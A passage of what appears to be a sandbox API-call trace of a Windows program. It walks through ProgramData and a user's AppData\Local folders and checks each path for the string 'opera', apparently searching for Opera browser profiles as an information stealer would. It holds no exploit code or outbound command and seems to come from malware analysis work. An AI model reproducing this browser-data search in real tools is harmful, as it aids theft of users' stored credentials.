(lpString1=".", lpString2="Package Cache") returned -1 [0047.402] lstrcmpiA (lpString1="..", lpString2="Package Cache") returned -1 [0047.402] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.402] lstrlenA (lpString="\\") returned 1 [0047.402] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.402] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.402] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.402] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.402] lstrlenA (lpString="Package Cache") returned 13 [0047.402] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0047.402] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.402] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Package Cache" | out: lpString1="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0047.402] LocalFree (hMem=0x721848) returned 0x0 [0047.402] StrStrIA (lpFirst="C:\\ProgramData\\Package Cache", lpSrch="opera") returned 0x0 [0047.402] LocalFree (hMem=0x758820) returned 0x0 [0047.402] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.402] lstrcmpiA (lpString1=".", lpString2="regid.1991-06.com.microsoft") returned -1 [0047.402] lstrcmpiA (lpString1="..", lpString2="regid.1991-06.com.microsoft") returned -1 [0047.402] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.402] lstrlenA (lpString="\\") returned 1 [0047.402] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.402] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.402] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.402] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.402] lstrlenA (lpString="regid.1991-06.com.microsoft") returned 27 [0047.402] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x7508d8 [0047.402] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.402] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="regid.1991-06.com.microsoft" | out: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft") returned="C:\\ProgramData\\regid.1991-06.com.microsoft" [0047.402] LocalFree (hMem=0x721848) returned 0x0 [0047.402] StrStrIA (lpFirst="C:\\ProgramData\\regid.1991-06.com.microsoft", lpSrch="opera") returned 0x0 [0047.402] LocalFree (hMem=0x7508d8) returned 0x0 [0047.403] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.403] lstrcmpiA (lpString1=".", lpString2="Start Menu") returned -1 [0047.403] lstrcmpiA (lpString1="..", lpString2="Start Menu") returned -1 [0047.403] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.403] lstrlenA (lpString="\\") returned 1 [0047.403] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.403] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.403] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.403] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.403] lstrlenA (lpString="Start Menu") returned 10 [0047.403] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758820 [0047.403] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.403] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Start Menu" | out: lpString1="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0047.403] LocalFree (hMem=0x721848) returned 0x0 [0047.403] StrStrIA (lpFirst="C:\\ProgramData\\Start Menu", lpSrch="opera") returned 0x0 [0047.403] LocalFree (hMem=0x758820) returned 0x0 [0047.403] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.403] lstrcmpiA (lpString1=".", lpString2="Sun") returned -1 [0047.403] lstrcmpiA (lpString1="..", lpString2="Sun") returned -1 [0047.403] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.403] lstrlenA (lpString="\\") returned 1 [0047.403] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.403] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.403] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.403] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.403] lstrlenA (lpString="Sun") returned 3 [0047.403] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x73cc70 [0047.403] lstrcpyA (in: lpString1=0x73cc70, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.403] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Sun" | out: lpString1="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0047.403] LocalFree (hMem=0x721848) returned 0x0 [0047.403] StrStrIA (lpFirst="C:\\ProgramData\\Sun", lpSrch="opera") returned 0x0 [0047.403] LocalFree (hMem=0x73cc70) returned 0x0 [0047.403] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.403] lstrcmpiA (lpString1=".", lpString2="Templates") returned -1 [0047.403] lstrcmpiA (lpString1="..", lpString2="Templates") returned -1 [0047.403] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.403] lstrlenA (lpString="\\") returned 1 [0047.403] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x721848 [0047.403] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.403] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.403] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0047.403] lstrlenA (lpString="Templates") returned 9 [0047.403] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0047.403] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0047.403] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Templates" | out: lpString1="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0047.403] LocalFree (hMem=0x721848) returned 0x0 [0047.403] StrStrIA (lpFirst="C:\\ProgramData\\Templates", lpSrch="opera") returned 0x0 [0047.403] LocalFree (hMem=0x758820) returned 0x0 [0047.403] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 0 [0047.403] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0047.403] LocalFree (hMem=0x716ef8) returned 0x0 [0047.403] LocalFree (hMem=0x7469f0) returned 0x0 [0047.403] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.403] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.404] lstrlenA (lpString="\\*.*") returned 4 [0047.404] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7508d8 [0047.404] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.404] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\*.*" [0047.404] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\*.*", lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 0x72dc90 [0047.404] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.404] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.404] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.404] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.404] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.404] lstrcmpiA (lpString1=".", lpString2="Adobe") returned -1 [0047.404] lstrcmpiA (lpString1="..", lpString2="Adobe") returned -1 [0047.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.404] lstrlenA (lpString="\\") returned 1 [0047.404] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.404] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.404] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned 38 [0047.404] lstrlenA (lpString="Adobe") returned 5 [0047.404] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x750820 [0047.404] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.404] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\", lpString2="Adobe" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Adobe") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Adobe" [0047.404] LocalFree (hMem=0x754820) returned 0x0 [0047.404] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Adobe", lpSrch="opera") returned 0x0 [0047.404] LocalFree (hMem=0x750820) returned 0x0 [0047.404] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.404] lstrcmpiA (lpString1=".", lpString2="Application Data") returned -1 [0047.404] lstrcmpiA (lpString1="..", lpString2="Application Data") returned -1 [0047.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.404] lstrlenA (lpString="\\") returned 1 [0047.404] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.404] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.404] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned 38 [0047.404] lstrlenA (lpString="Application Data") returned 16 [0047.404] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x756820 [0047.404] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.404] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\", lpString2="Application Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Application Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Application Data" [0047.404] LocalFree (hMem=0x754820) returned 0x0 [0047.404] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Application Data", lpSrch="opera") returned 0x0 [0047.404] LocalFree (hMem=0x756820) returned 0x0 [0047.404] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.404] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.404] lstrcmpiA (lpString1=".", lpString2="Google") returned -1 [0047.404] lstrcmpiA (lpString1="..", lpString2="Google") returned -1 [0047.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.404] lstrlenA (lpString="\\") returned 1 [0047.404] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.404] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned 38 [0047.405] lstrlenA (lpString="Google") returned 6 [0047.405] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x750820 [0047.405] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\", lpString2="Google" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google" [0047.405] LocalFree (hMem=0x754820) returned 0x0 [0047.405] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google", lpSrch="opera") returned 0x0 [0047.405] LocalFree (hMem=0x750820) returned 0x0 [0047.405] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.405] lstrcmpiA (lpString1=".", lpString2="History") returned -1 [0047.405] lstrcmpiA (lpString1="..", lpString2="History") returned -1 [0047.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.405] lstrlenA (lpString="\\") returned 1 [0047.405] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.405] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned 38 [0047.405] lstrlenA (lpString="History") returned 7 [0047.405] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x750820 [0047.405] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\", lpString2="History" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\History") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\History" [0047.405] LocalFree (hMem=0x754820) returned 0x0 [0047.405] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\History", lpSrch="opera") returned 0x0 [0047.405] LocalFree (hMem=0x750820) returned 0x0 [0047.405] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.405] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.405] lstrcmpiA (lpString1=".", lpString2="Microsoft") returned -1 [0047.405] lstrcmpiA (lpString1="..", lpString2="Microsoft") returned -1 [0047.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.405] lstrlenA (lpString="\\") returned 1 [0047.405] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.405] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned 38 [0047.405] lstrlenA (lpString="Microsoft") returned 9 [0047.405] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x750820 [0047.405] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft" [0047.405] LocalFree (hMem=0x754820) returned 0x0 [0047.405] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft", lpSrch="opera") returned 0x0 [0047.405] LocalFree (hMem=0x750820) returned 0x0 [0047.405] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.405] lstrcmpiA (lpString1=".", lpString2="Microsoft Help") returned -1 [0047.405] lstrcmpiA (lpString1="..", lpString2="Microsoft Help") returned -1 [0047.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.405] lstrlenA (lpString="\\") returned 1 [0047.405] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.405] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned 38 [0047.405] lstrlenA (lpString="Microsoft Help") returned 14 [0047.405] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x756820 [0047.405] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\", lpString2="Microsoft Help" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft Help") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft Help" [0047.406] LocalFree (hMem=0x754820) returned 0x0 [0047.406] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft Help", lpSrch="opera") returned 0x0 [0047.406] LocalFree (hMem=0x756820) returned 0x0 [0047.406] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.406] lstrcmpiA (lpString1=".", lpString2="Mozilla") returned -1 [0047.406] lstrcmpiA (lpString1="..", lpString2="Mozilla") returned -1 [0047.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.406] lstrlenA (lpString="\\") returned 1 [0047.406] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.406] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned 38 [0047.406] lstrlenA (lpString="Mozilla") returned 7 [0047.406] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x750820 [0047.406] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\", lpString2="Mozilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Mozilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Mozilla" [0047.406] LocalFree (hMem=0x754820) returned 0x0 [0047.406] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Mozilla", lpSrch="opera") returned 0x0 [0047.406] LocalFree (hMem=0x750820) returned 0x0 [0047.406] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.406] lstrcmpiA (lpString1=".", lpString2="Temp") returned -1 [0047.406] lstrcmpiA (lpString1="..", lpString2="Temp") returned -1 [0047.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.406] lstrlenA (lpString="\\") returned 1 [0047.406] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.406] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned 38 [0047.406] lstrlenA (lpString="Temp") returned 4 [0047.406] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750820 [0047.406] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\", lpString2="Temp" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Temp") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Temp" [0047.406] LocalFree (hMem=0x754820) returned 0x0 [0047.406] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Temp", lpSrch="opera") returned 0x0 [0047.406] LocalFree (hMem=0x750820) returned 0x0 [0047.406] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.406] lstrcmpiA (lpString1=".", lpString2="Temporary Internet Files") returned -1 [0047.406] lstrcmpiA (lpString1="..", lpString2="Temporary Internet Files") returned -1 [0047.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.406] lstrlenA (lpString="\\") returned 1 [0047.406] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.406] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned 38 [0047.406] lstrlenA (lpString="Temporary Internet Files") returned 24 [0047.406] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a670 [0047.406] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\" [0047.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Temporary Internet Files" [0047.406] LocalFree (hMem=0x754820) returned 0x0 [0047.406] StrStrIA (lpFirst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Temporary Internet Files", lpSrch="opera") returned 0x0 [0047.406] LocalFree (hMem=0x74a670) returned 0x0 [0047.406] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 1 [0047.406] lstrcmpiA (lpString1=".", lpString2="VirtualStore") returned -1 [0047.406] lstrcmpiA (lpString1="..", lpString2="VirtualStore") returned -1 [0047.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.407] lstrlenA (lpString="\\") returned 1 [0047.407] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.407] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.407] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\" | out: 